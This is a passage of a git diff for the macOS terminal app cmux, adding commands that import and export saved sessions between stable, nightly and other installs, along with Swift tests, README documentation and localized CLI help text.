.string(exportedPath), + "source_path": .string(sourcePath), + ])) + case let .failed(code, message, path): + return .err(code: code, message: message, data: .object(["path": orNull(path)])) + } + } + /// `settings.open` — open the settings window, optionally at a target pane. func settingsOpen(_ params: [String: JSONValue]) -> ControlCallResult { let targetRaw = string(params, "target") diff --git a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSessionTransferResolution.swift b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSessionTransferResolution.swift new file mode 100644 index 000000000000..934ec098a417 --- /dev/null +++ b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSessionTransferResolution.swift @@ -0,0 +1,31 @@ +/// Where `session.import` reads a snapshot from. +public enum ControlSessionImportSource: Sendable, Equatable { + /// Another install's saved session, named by channel (`stable`, + /// `nightly`, `rc`, `staging`, `debug[:tag]`) or bundle identifier. + case channel(String) + /// A snapshot file at an absolute path. + case file(path: String) +} + +/// The outcome of `session.import`. +/// +/// Failure messages are resolved in the APP conformance so they stay +/// localized; the package only carries the resolved strings. +public enum ControlSessionImportResolution: Sendable, Equatable { + /// The snapshot was validated and reopened as additional windows. + case restored(sourcePath: String, windowCount: Int) + /// The import failed. `code` is the socket error code (`not_found`, + /// `invalid_params`, `unsupported`, `invalid_state`, `unavailable`), + /// `path` the file involved when known. + case failed(code: String, message: String, path: String?) +} + +/// The outcome of `session.export`. +public enum ControlSessionExportResolution: Sendable, Equatable { + /// The saved snapshot at `sourcePath` was written to `path`. + case exported(path: String, sourcePath: String) + /// The export failed. `code` is the socket error code (`not_found`, + /// `already_exists`, `invalid_params`, `invalid_state`, `unavailable`), + /// `path` the file involved when known. + case failed(code: String, message: String, path: String?) +} diff --git a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSystemContext.swift b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSystemContext.swift index 1e2ecbb4c11a..cea908426899 100644 --- a/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSystemContext.swift +++ b/Packages/macOS/CmuxControlSocket/Sources/CmuxControlSocket/Coordinator/System/ControlSystemContext.swift @@ -2,7 +2,8 @@ public import Foundation /// The system/misc-domain slice of the control-command seam (a constituent of /// the ``ControlCommandContext`` umbrella): `system.identify`, `system.tree`, -/// `auth.login`, `session.restore_previous`, `settings.open`, `feedback.open`, +/// `auth.login`, `session.restore_previous`, `session.import`, +/// `session.export`, `settings.open`, `feedback.open`, /// `extension.sidebar.snapshot`, `workspace.action`, `surface.action` / /// `tab.action`, `surface.drag_to_split` / `surface.split_off`, and the /// DEBUG-only `mobile.dev_stack_auth.configure`. @@ -46,6 +47,25 @@ public protocol ControlSystemContext: AnyObject { /// message). func controlSessionRestorePrevious() -> ControlSessionRestoreResolution + /// Validates a session snapshot from another install or a file and + /// reopens it as additional windows for `session.import`. Never writes + /// the source file. + /// + /// - Parameter source: The channel or absolute file path to read. + /// - Returns: The import resolution (failures carry app-localized + /// messages). + func controlSessionImport(source: ControlSessionImportSource) -> ControlSessionImportResolution + + /// Writes this install's saved session snapshot to `path` for + /// `session.export`. + /// + /// - Parameters: + /// - path: The absolute destination path. + /// - overwrite: Whether an existing destination file may be replaced. + /// - Returns: The export resolution (failures carry app-localized + /// messages). + func controlSessionExport(path: String, overwrite: Bool) -> ControlSessionExportResolution + /// Validates the target and schedules the settings window for /// `settings.open`. /// diff --git a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandContextTestStubs+System.swift b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandContextTestStubs+System.swift index 69893e46784d..a0a565154a2e 100644 --- a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandContextTestStubs+System.swift +++ b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandContextTestStubs+System.swift @@ -25,6 +25,12 @@ extension ControlSystemContext { func controlSessionRestorePrevious() -> ControlSessionRestoreResolution { .noSnapshot(message: "No previous session snapshot available") } + func controlSessionImport(source: ControlSessionImportSource) -> ControlSessionImportResolution { + .failed(code: "not_found", message: "No saved session", path: nil) + } + func controlSessionExport(path: String, overwrite: Bool) -> ControlSessionExportResolution { + .failed(code: "not_found", message: "No saved session", path: nil) + } func controlSettingsOpen(targetRaw: String?, requestedActivate: Bool) -> ControlSettingsOpenResolution { .opened(target: targetRaw ?? "general") } diff --git a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift new file mode 100644 index 000000000000..39dea6d2b615 --- /dev/null +++ b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/ControlCommandCoordinatorSessionTransferTests.swift @@ -0,0 +1,106 @@ +import Foundation +import Testing +@testable import CmuxControlSocket + +@MainActor +@Suite("ControlCommandCoordinator session import/export") +struct ControlCommandCoordinatorSessionTransferTests { + private func call( + _ method: String, + _ params: [String: JSONValue], + context: FakeSessionTransferControlCommandContext + ) -> ControlCallResult { + ControlCommandCoordinator(context: context).handle(ControlRequest(id: .int(1), method: method, params: params)) + } + + @Test func importFromChannelForwardsSourceAndReportsWindows() throws { + let context = FakeSessionTransferControlCommandContext() + context.importResolution = .restored(sourcePath: "/support/cmux/session-com.cmuxterm.app.nightly.json", windowCount: 2) + + let result = call("session.import", ["source": .string(" nightly ")], context: context) + + guard case .ok(.object(let payload)) = result else { + Issue.record("expected ok payload, got \(result)") + return + } + #expect(context.importSources == [.channel("nightly")]) + #expect(payload["restored"] == .bool(true)) + #expect(payload["source_path"] == .string("/support/cmux/session-com.cmuxterm.app.nightly.json")) + #expect(payload["window_count"] == .int(2)) + } + + @Test func importFromAbsolutePathForwardsFileSource() { + let context = FakeSessionTransferControlCommandContext() + + _ = call("session.import", ["path": .string("/Users/me/session.json")], context: context) + + #expect(context.importSources == [.file(path: "/Users/me/session.json")]) + } + + @Test(arguments: [ + [String: JSONValue](), + ["path": .string("/a.json"), "source": .string("nightly")], + ["path": .string("relative.json")], + ["source": .string(" ")], + ]) + func importRejectsBadParamsBeforeTouchingTheApp(params: [String: JSONValue]) { + let context = FakeSessionTransferControlCommandContext() + + let result = call("session.import", params, context: context) + + guard case .err(let code, _, _) = result else { + Issue.record("expected invalid_params, got \(result)") + return + } + #expect(code == "invalid_params") + #expect(context.importSources.isEmpty) + } + + @Test func importFailureCarriesCodeMessageAndPath() { + let context = FakeSessionTransferControlCommandContext() + context.importResolution = .failed(code: "unsupported", message: "newer schema", path: "/x.json") + + let result = call("session.import", ["path": .string("/x.json")], context: context) + + guard case .err(let code, let message, let data) = result else { + Issue.record("expected error, got \(result)") + return + } + #expect(code == "unsupported") + #expect(message == "newer schema") + #expect(data == .object(["path": .string("/x.json")])) + } + + @Test func exportForwardsPathAndForceFlag() throws { + let context = FakeSessionTransferControlCommandContext() + + let result = call("session.export", ["path": .string("/tmp/out.json"), "force": .bool(true)], context: context) + + guard case .ok(.object(let payload)) = result else { + Issue.record("expected ok payload, got \(result)") + return + } + #expect(context.exportRequests.map(\.path) == ["/tmp/out.json"]) + #expect(context.exportRequests.map(\.overwrite) == [true]) + #expect(payload["exported"] == .bool(true)) + #expect(payload["path"] == .string("/tmp/out.json")) + #expect(payload["source_path"] == .string("/tmp/src.json")) + } + + @Test func exportDefaultsToNoOverwriteAndRequiresAbsolutePath() { + let context = FakeSessionTransferControlCommandContext() + + _ = call("session.export", ["path": .string("/tmp/out.json")], context: context) + let relative = call("session.export", ["path": .string("out.json")], context: context) + let missing = call("session.export", [:], context: context) + + #expect(context.exportRequests.map(\.overwrite) == [false]) + for result in [relative, missing] { + guard case .err(let code, _, _) = result else { + Issue.record("expected invalid_params, got \(result)") + continue + } + #expect(code == "invalid_params") + } + } +} diff --git a/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/FakeSessionTransferControlCommandContext.swift b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/FakeSessionTransferControlCommandContext.swift new file mode 100644 index 000000000000..f3a141697aff --- /dev/null +++ b/Packages/macOS/CmuxControlSocket/Tests/CmuxControlSocketTests/FakeSessionTransferControlCommandContext.swift @@ -0,0 +1,20 @@ +import Foundation +@testable import CmuxControlSocket + +@MainActor +final class FakeSessionTransferControlCommandContext: ControlCommandContext { + var importResolution: ControlSessionImportResolution = .restored(sourcePath: "/tmp/in.json", windowCount: 1) + var exportResolution: ControlSessionExportResolution = .exported(path: "/tmp/out.json", sourcePath: "/tmp/src.json") + private(set) var importSources: [ControlSessionImportSource] = [] + private(set) var exportRequests: [(path: String, overwrite: Bool)] = [] + + func controlSessionImport(source: ControlSessionImportSource) -> ControlSessionImportResolution { + importSources.append(source) + return importResolution + } + + func controlSessionExport(path: String, overwrite: Bool) -> ControlSessionExportResolution { + exportRequests.append((path, overwrite)) + return exportResolution + } +} diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift index a116b8bba171..1d6a5dfd22d1 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotRepository.swift @@ -104,6 +104,9 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti public func importableSnapshot( fileURL: URL ) -> Result<SessionSnapshotImport<SnapshotValue>, SessionSnapshotImportError> { + if isOwnPrimarySnapshot(fileURL) { + return .failure(.liveSnapshot(fileURL)) + } guard fileManager.fileExists(atPath: fileURL.path) else { return .failure(.fileNotFound(fileURL)) } @@ -145,6 +148,11 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti bundleIdentifier: bundleIdentifier, appSupportDirectory: appSupport ) + if isOwnPrimarySnapshot(primaryURL) { + // Importing this install into itself would reopen the windows it + // already shows; its previous launch is `restore-session`. + return .failure(.liveSnapshot(primaryURL)) + } let primaryError: SessionSnapshotImportError switch importableSnapshot(fileURL: primaryURL) { case .success(let imported): @@ -172,11 +180,20 @@ public struct SessionSnapshotRepository<SnapshotValue: SessionSnapshotRepresenti } } + private func isOwnPrimarySnapshot(_ fileURL: URL) -> Bool { + guard let ownPrimary = defaultSnapshotFileURL() else { return false } + return Self.sameFile(ownPrimary, fileURL) + } + + private static func sameFile(_ lhs: URL, _ rhs: URL) -> Bool { + lhs.standardizedFileURL.resolvingSymlinksInPath().path + == rhs.standardizedFileURL.resolvingSymlinksInPath().path + } + public func exportSnapshot(to destination: URL, overwrite: Bool) -> Result<URL, SessionSnapshotExportError> { let destination = destination.standardizedFileURL - let ownFiles = [defaultSnapshotFileURL(), manualRestoreSnapshotFileURL()] - .compactMap { $0?.standardizedFileURL.resolvingSymlinksInPath().path } - if ownFiles.contains(destination.resolvingSymlinksInPath().path) { + let ownFiles = [defaultSnapshotFileURL(), manualRestoreSnapshotFileURL()].compactMap { $0 } + if ownFiles.contains(where: { Self.sameFile($0, destination) }) { return .failure(.destinationIsLiveSnapshot(destination)) } if !overwrite && fileManager.fileExists(atPath: destination.path) { diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift index 1e992fbc17c0..c273b36d32a2 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotStoring.swift @@ -57,14 +57,16 @@ public protocol SessionSnapshotStoring<SnapshotValue>: Sendable { /// Reads and validates the snapshot at `fileURL` for import, reporting /// why it cannot be restored (missing, unreadable, not a snapshot, - /// newer or older schema version, no windows). Never writes. + /// newer or older schema version, no windows, or this install's own live + /// snapshot). Never writes. func importableSnapshot( fileURL: URL ) -> Result<SessionSnapshotImport<SnapshotValue>, SessionSnapshotImportError> /// Reads and validates another install's snapshot for import: its /// primary file, falling back to its `-previous` backup like startup - /// restore does. Never writes either file. + /// restore does. Refuses this install's own bundle identifier. Never + /// writes either file. func importableSnapshot( bundleIdentifier: String ) -> Result<SessionSnapshotImport<SnapshotValue>, SessionSnapshotImportError> diff --git a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotTransferError.swift b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotTransferError.swift index 8eb76ded59b2..aad9bf543025 100644 --- a/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotTransferError.swift +++ b/Packages/macOS/CmuxWorkspaces/Sources/CmuxWorkspaces/Session/SessionSnapshotTransferError.swift @@ -19,6 +19,9 @@ public enum SessionSnapshotImportError: Error, Equatable, Sendable { case olderSchemaVersion(URL, found: Int, supported: Int) /// The snapshot decodes but has no windows to restore. case noWindows(URL) + /// The file is this install's own live snapshot (the one it keeps + /// saving); reopening it would duplicate the open windows. + case liveSnapshot(URL) /// The file the error refers to. public var fileURL: URL { @@ -28,7 +31,8 @@ public enum SessionSnapshotImportError: Error, Equatable, Sendable { .notASessionSnapshot(let url), .newerSchemaVersion(let url, _, _), .olderSchemaVersion(let url, _, _), - .noWindows(let url): + .noWindows(let url), + .liveSnapshot(let url): return url } } diff --git a/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift new file mode 100644 index 000000000000..279a4a3938c9 --- /dev/null +++ b/Packages/macOS/CmuxWorkspaces/Tests/CmuxWorkspacesTests/Session/SessionSnapshotTransferTests.swift @@ -0,0 +1,318 @@ +import Foundation +import Testing +@testable import CmuxWorkspaces + +/// Version plus window list, the fields the repository's usability rules read. +private struct TransferSnapshotFixture: SessionSnapshotRepresenting, Equatable { + struct Window: Codable, Equatable, Sendable { + var name: String + } + + var version: Int + var windows: [Window] + + var hasWindows: Bool { !windows.isEmpty } +} + +@Suite("Session snapshot transfer between installs") +struct SessionSnapshotTransferTests { + private let schemaVersion = 1 + + private func makeTempDirectory() throws -> URL { + let url = FileManager.default.temporaryDirectory + .appendingPathComponent("cmux-session-transfer-tests-\(UUID().uuidString)", isDirectory: true) + try FileManager.default.createDirectory(at: url, withIntermediateDirectories: true) + return url + } + + private func makeRepository( + appSupport: URL, + bundleIdentifier: String + ) -> SessionSnapshotRepository<TransferSnapshotFixture> { + SessionSnapshotRepository( + schemaVersion: schemaVersion, + bundleIdentifier: bundleIdentifier, + appSupportDirectory: appSupport + ) + } + + private func snapshot(_ names: String...) -> TransferSnapshotFixture { + TransferSnapshotFixture(version: schemaVersion, windows: names.map { .init(name: $0) }) + } + + private func write(_ text: String, to url: URL) throws { + try FileManager.default.createDirectory( + at: url.deletingLastPathComponent(), + withIntermediateDirectories: true + ) + try Data(text.utf8).write(to: url) + } + + // MARK: - Channel and path resolution + + @Test( + "channel names map to their bundle identifiers", + arguments: [ + ("stable", "com.cmuxterm.app"), + ("Release", "com.cmuxterm.app"), + ("nightly", "com.cmuxterm.app.nightly"), + ("RC", "com.cmuxterm.app.rc"), + ("staging", "com.cmuxterm.app.staging"), + ("debug", "com.cmuxterm.app.debug"), + ("debug:my-tag", "com.cmuxterm.app.debug.my-tag"), + ("dev:My-Tag", "com.cmuxterm.app.debug.My-Tag"), + ("com.cmuxterm.app.nightly.isolated", "com.cmuxterm.app.nightly.isolated"), + ] + ) + func channelBundleIdentifiers(name: String, expected: String) { + #expect(SessionSnapshotFileLocation.bundleIdentifier(forChannel: name) == expected) + } + + @Test("unknown channel names do not resolve", arguments: ["", "beta", "debug:", "org.example.app", "./session.json"]) + func unknownChannels(name: String) { + #expect(SessionSnapshotFileLocation.bundleIdentifier(forChannel: name) == nil) + } + + @Test("each channel resolves to its own session file under Application Support/cmux") + func perChannelSnapshotPaths() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let expectations = [ + "stable": "session-com.cmuxterm.app.json", + "nightly": "session-com.cmuxterm.app.nightly.json", + "rc": "session-com.cmuxterm.app.rc.json", + "staging": "session-com.cmuxterm.app.staging.json", + "debug:feature-x": "session-com.cmuxterm.app.debug.feature-x.json", + ] + for (channel, fileName) in expectations { + let bundleId = try #require(SessionSnapshotFileLocation.bundleIdentifier(forChannel: channel)) + let url = try #require(repository.snapshotFileURL(bundleIdentifier: bundleId)) + #expect(url.path == dir.appendingPathComponent("cmux/\(fileName)").path) + } + // The running install's own file is the same one it saves to. + #expect( + repository.snapshotFileURL(bundleIdentifier: "com.cmuxterm.app") + == repository.defaultSnapshotFileURL() + ) + } + + // MARK: - Import from another channel + + @Test("stable imports the nightly snapshot without writing either install's files") + func importFromOtherChannelIsReadOnly() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let stable = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let nightly = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app.nightly") + let nightlySnapshot = snapshot("nightly-window") + let stableSnapshot = snapshot("stable-window") + #expect(nightly.save(nightlySnapshot, fileURL: nil)) + #expect(stable.save(stableSnapshot, fileURL: nil)) + let nightlyURL = try #require(nightly.defaultSnapshotFileURL()) + let nightlyBytes = try Data(contentsOf: nightlyURL) + let stableBytes = try Data(contentsOf: try #require(stable.defaultSnapshotFileURL())) + + let imported = try stable.importableSnapshot(bundleIdentifier: "com.cmuxterm.app.nightly").get() + + #expect(imported.snapshot == nightlySnapshot) + #expect(imported.fileURL == nightlyURL) + #expect(try Data(contentsOf: nightlyURL) == nightlyBytes) + #expect(try Data(contentsOf: try #require(stable.defaultSnapshotFileURL())) == stableBytes) + #expect(!FileManager.default.fileExists(atPath: try #require(nightly.manualRestoreSnapshotFileURL()).path)) + } + + @Test("import falls back to the channel's -previous backup when its primary is unusable") + func importFallsBackToBackup() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let stable = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let nightly = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app.nightly") + let backupSnapshot = snapshot("backup") + let backupURL = try #require(nightly.manualRestoreSnapshotFileURL()) + #expect(nightly.save(backupSnapshot, fileURL: backupURL)) + try write("corrupt", to: try #require(nightly.defaultSnapshotFileURL())) + + let imported = try stable.importableSnapshot(bundleIdentifier: "com.cmuxterm.app.nightly").get() + + #expect(imported.snapshot == backupSnapshot) + #expect(imported.fileURL == backupURL) + } + + @Test("importing a channel with no snapshot reports its primary file as missing") + func importMissingChannel() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let stable = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + + let result = stable.importableSnapshot(bundleIdentifier: "com.cmuxterm.app.rc") + + guard case .fileNotFound(let url)? = result.failure else { + Issue.record("expected fileNotFound, got \(result)") + return + } + #expect(url.path == dir.appendingPathComponent("cmux/session-com.cmuxterm.app.rc.json").path) + } + + @Test("an install refuses to import its own live snapshot, by channel or by path") + func importRefusesOwnLiveSnapshot() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let stable = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + #expect(stable.save(snapshot("live"), fileURL: nil)) + let primaryURL = try #require(stable.defaultSnapshotFileURL()) + let backupURL = try #require(stable.manualRestoreSnapshotFileURL()) + #expect(stable.save(snapshot("previous-launch"), fileURL: backupURL)) + + guard case .liveSnapshot? = stable.importableSnapshot(bundleIdentifier: "com.cmuxterm.app").failure else { + Issue.record("expected liveSnapshot for the install's own channel") + return + } + guard case .liveSnapshot? = stable.importableSnapshot(fileURL: primaryURL).failure else { + Issue.record("expected liveSnapshot for the install's own primary path") + return + } + // Its previous launch stays importable by path (what restore-session reopens). + #expect(try stable.importableSnapshot(fileURL: backupURL).get().snapshot == snapshot("previous-launch")) + } + + // MARK: - Invalid files + + @Test("invalid files report why they cannot be imported") + func invalidFileErrors() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + + let missing = dir.appendingPathComponent("missing.json") + #expect(repository.importableSnapshot(fileURL: missing).failure == .fileNotFound(missing)) + + let notJSON = dir.appendingPathComponent("not-json.json") + try write("hello", to: notJSON) + #expect(repository.importableSnapshot(fileURL: notJSON).failure == .notASessionSnapshot(notJSON)) + + let noVersion = dir.appendingPathComponent("no-version.json") + try write(#"{"windows":[{"name":"w"}]}"#, to: noVersion) + #expect(repository.importableSnapshot(fileURL: noVersion).failure == .notASessionSnapshot(noVersion)) + + let wrongShape = dir.appendingPathComponent("wrong-shape.json") + try write(#"{"version":1,"windows":"nope"}"#, to: wrongShape) + #expect(repository.importableSnapshot(fileURL: wrongShape).failure == .notASessionSnapshot(wrongShape)) + + let newer = dir.appendingPathComponent("newer.json") + try write(#"{"version":7,"somethingNew":{}}"#, to: newer) + #expect( + repository.importableSnapshot(fileURL: newer).failure + == .newerSchemaVersion(newer, found: 7, supported: schemaVersion) + ) + + let older = dir.appendingPathComponent("older.json") + try write(#"{"version":0,"windows":[{"name":"w"}]}"#, to: older) + #expect( + repository.importableSnapshot(fileURL: older).failure + == .olderSchemaVersion(older, found: 0, supported: schemaVersion) + ) + + let empty = dir.appendingPathComponent("empty.json") + try write(#"{"version":1,"windows":[]}"#, to: empty) + #expect(repository.importableSnapshot(fileURL: empty).failure == .noWindows(empty)) + } + + // MARK: - Export and round trip + + @Test("export then import round-trips the saved snapshot byte for byte") + func exportImportRoundTrip() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let nightly = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app.nightly") + let stable = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let saved = snapshot("one", "two") + #expect(nightly.save(saved, fileURL: nil)) + let destination = dir.appendingPathComponent("exports/nested/session.json") + + let source = try nightly.exportSnapshot(to: destination, overwrite: false).get() + + #expect(source == nightly.defaultSnapshotFileURL()) + #expect(try Data(contentsOf: destination) == Data(contentsOf: source)) + let imported = try stable.importableSnapshot(fileURL: destination).get() + #expect(imported.snapshot == saved) + #expect(imported.fileURL == destination) + } + + @Test("export falls back to the backup when the primary is unusable") + func exportUsesBackup() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let backupURL = try #require(repository.manualRestoreSnapshotFileURL()) + #expect(repository.save(snapshot("backup"), fileURL: backupURL)) + try write("corrupt", to: try #require(repository.defaultSnapshotFileURL())) + let destination = dir.appendingPathComponent("out.json") + + #expect(try repository.exportSnapshot(to: destination, overwrite: false).get() == backupURL) + #expect(try repository.importableSnapshot(fileURL: destination).get().snapshot == snapshot("backup")) + } + + @Test("export refuses to overwrite without permission, to clobber its own files, or to write nothing") + func exportRefusals() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let destination = dir.appendingPathComponent("out.json") + + #expect(repository.exportSnapshot(to: destination, overwrite: false).failure == .noSnapshot) + #expect(!FileManager.default.fileExists(atPath: destination.path)) + + #expect(repository.save(snapshot("w"), fileURL: nil)) + try write("keep me", to: destination) + #expect(repository.exportSnapshot(to: destination, overwrite: false).failure == .destinationExists(destination)) + #expect(try String(contentsOf: destination, encoding: .utf8) == "keep me") + _ = try repository.exportSnapshot(to: destination, overwrite: true).get() + #expect(try repository.importableSnapshot(fileURL: destination).get().snapshot == snapshot("w")) + + let primaryURL = try #require(repository.defaultSnapshotFileURL()) + let backupURL = try #require(repository.manualRestoreSnapshotFileURL()) + #expect( + repository.exportSnapshot(to: primaryURL, overwrite: true).failure + == .destinationIsLiveSnapshot(primaryURL.standardizedFileURL) + ) + #expect( + repository.exportSnapshot(to: backupURL, overwrite: true).failure + == .destinationIsLiveSnapshot(backupURL.standardizedFileURL) + ) + } + + // MARK: - Newer schema side files + + @Test("a newer-schema snapshot is copied to a schema side file that can be imported later") + func newerSchemaSideFile() throws { + let dir = try makeTempDirectory() + defer { try? FileManager.default.removeItem(at: dir) } + let repository = makeRepository(appSupport: dir, bundleIdentifier: "com.cmuxterm.app") + let primaryURL = try #require(repository.defaultSnapshotFileURL()) + let newerText = #"{"version":2,"windows":[{"name":"future"}]}"# + try write(newerText, to: primaryURL) + + let sideURL = try #require(repository.preserveNewerSchemaSnapshot(fileURL: primaryURL)) + + #expect(sideURL.lastPathComponent == "session-com.cmuxterm.app.schema-v2.json") + #expect(try String(contentsOf: sideURL, encoding: .utf8) == newerText) + let newerBuild = SessionSnapshotRepository<TransferSnapshotFixture>( + schemaVersion: 2, + bundleIdentifier: "com.cmuxterm.app", + appSupportDirectory: dir + ) + #expect(try newerBuild.importableSnapshot(fileURL: sideURL).get().snapshot.windows.map(\.name) == ["future"]) + + // Current and older snapshots need no side file. + #expect(repository.save(snapshot("now"), fileURL: nil)) + #expect(repository.preserveNewerSchemaSnapshot(fileURL: primaryURL) == nil) + } +} + +private extension Result { + var failure: Failure? { + if case .failure(let error) = self { return error } + return nil + } +} diff --git a/README.md b/README.md index 423d8c539dba..e8fca909803b 100644 --- a/README.md +++ b/README.md @@ -322,6 +322,23 @@ If you need to reapply the last saved snapshot manually, use: - `⌘ ⇧ O` - `cmux restore-session` +Each cmux install (stable, nightly, rc, staging, and tagged debug builds) keeps its own +saved session. To bring a session from one install into another, for example after trying +nightly and switching back to stable, run this from the install you want to open it in: + +```bash +cmux restore-session --from nightly # or stable, rc, staging, debug:<tag> +cmux restore-session --export ~/session.json # write this install's saved session to a file +cmux restore-session --from ~/session.json # reopen an exported file +``` + +The imported session opens as additional windows next to the ones you have, like +`cmux restore-session`; the other install's saved file is only read. Agent resume carries +over because hook session mappings in `~/.cmuxterm/` are shared by every install. Browser +cookies and logins are per install and do not move. A snapshot saved by a newer cmux +(newer session format) is refused with an error; if a downgraded cmux finds one in its own +session file, it keeps a copy next to it as `session-<bundle id>.schema-v<N>.json`. + Under the hood, cmux writes a versioned snapshot under `~/Library/Application Support/cmux/` and agent hooks write session mappings under `~/.cmuxterm/`. On restore, cmux rebuilds the layout first, then runs the diff --git a/Resources/Localizable.xcstrings b/Resources/Localizable.xcstrings index 1caad6287a06..b6a3732437d8 100644 --- a/Resources/Localizable.xcstrings +++ b/Resources/Localizable.xcstrings @@ -558424,6 +558424,832 @@ } } } + }, + "cli.restoreSession.help": { + "extractionState": "manual", + "localizations": { + "en": { + "stringUnit": { + "state": "translated", + "value": "Usage: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nReopen the previous saved cmux session.\n\nIf the app is already running, this restores the last saved session into the current app.\nIf the app is not running, this launches cmux and lets startup restore reopen the saved session.\n\nEach cmux install (stable, nightly, rc, staging, tagged debug builds) saves its own session.\n--from <channel> Reopen another install's saved session in this running cmux, for example\n after trying nightly and switching back to stable. The session opens as\n additional windows; the other install's saved file is only read.\n--from <path> Reopen a session file written by --export.\n--export <path> Write this cmux's saved session to a file. Pass --force to replace an\n existing file.\n\n--from and --export require cmux to be running." + } + }, + "de": { + "stringUnit": { + "state": "translated", + "value": "Verwendung: cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nDie zuletzt gespeicherte cmux-Sitzung erneut öffnen.\n\nLäuft die App bereits, wird die zuletzt gespeicherte Sitzung in der aktuellen App wiederhergestellt.\nLäuft die App nicht, wird cmux gestartet und die gespeicherte Sitzung beim Start wiederhergestellt.\n\nJede cmux-Installation (stable, nightly, rc, staging, getaggte Debug-Builds) speichert ihre eigene Sitzung.\n--from <channel> Die gespeicherte Sitzung einer anderen Installation in diesem laufenden cmux öffnen,\n z. B. nachdem Sie nightly ausprobiert haben und zu stable zurückkehren. Die Sitzung\n öffnet sich in zusätzlichen Fenstern; die Datei der anderen Installation wird nur gelesen.\n--from <path> Eine mit --export geschriebene Sitzungsdatei öffnen.\n--export <path> Die gespeicherte Sitzung dieses cmux in eine Datei schreiben. Mit --force wird eine\n vorhandene Datei ersetzt.\n\n--from und --export setzen ein laufendes cmux voraus." + } + }, + "fr": { + "stringUnit": { + "state": "translated", + "value": "Utilisation : cmux restore-session\n cmux restore-session --from <stable|nightly|rc|staging|debug:<tag>|path>\n cmux restore-session --export <path> [--force]\n\nRouvrir la dernière session cmux enregistrée.\n\nSi l'app est déjà ouverte, la dernière session enregistrée est restaurée dans l'app actuelle.\nSi l'app n'est pas ouverte, cmux est lancé et la restauration au démarrage rouvre la session enregistrée.\n\nChaque installation de cmux (stable, nightly, rc, staging, builds debug avec tag) enregistre sa propre session.\n--from <channel> Rouvrir la session enregistrée d'une autre installation dans ce cmux en cours, par exemple\n après avoir essayé nightly puis être revenu à stable. La session s'ouvre dans des fenêtres\n supplémentaires ; 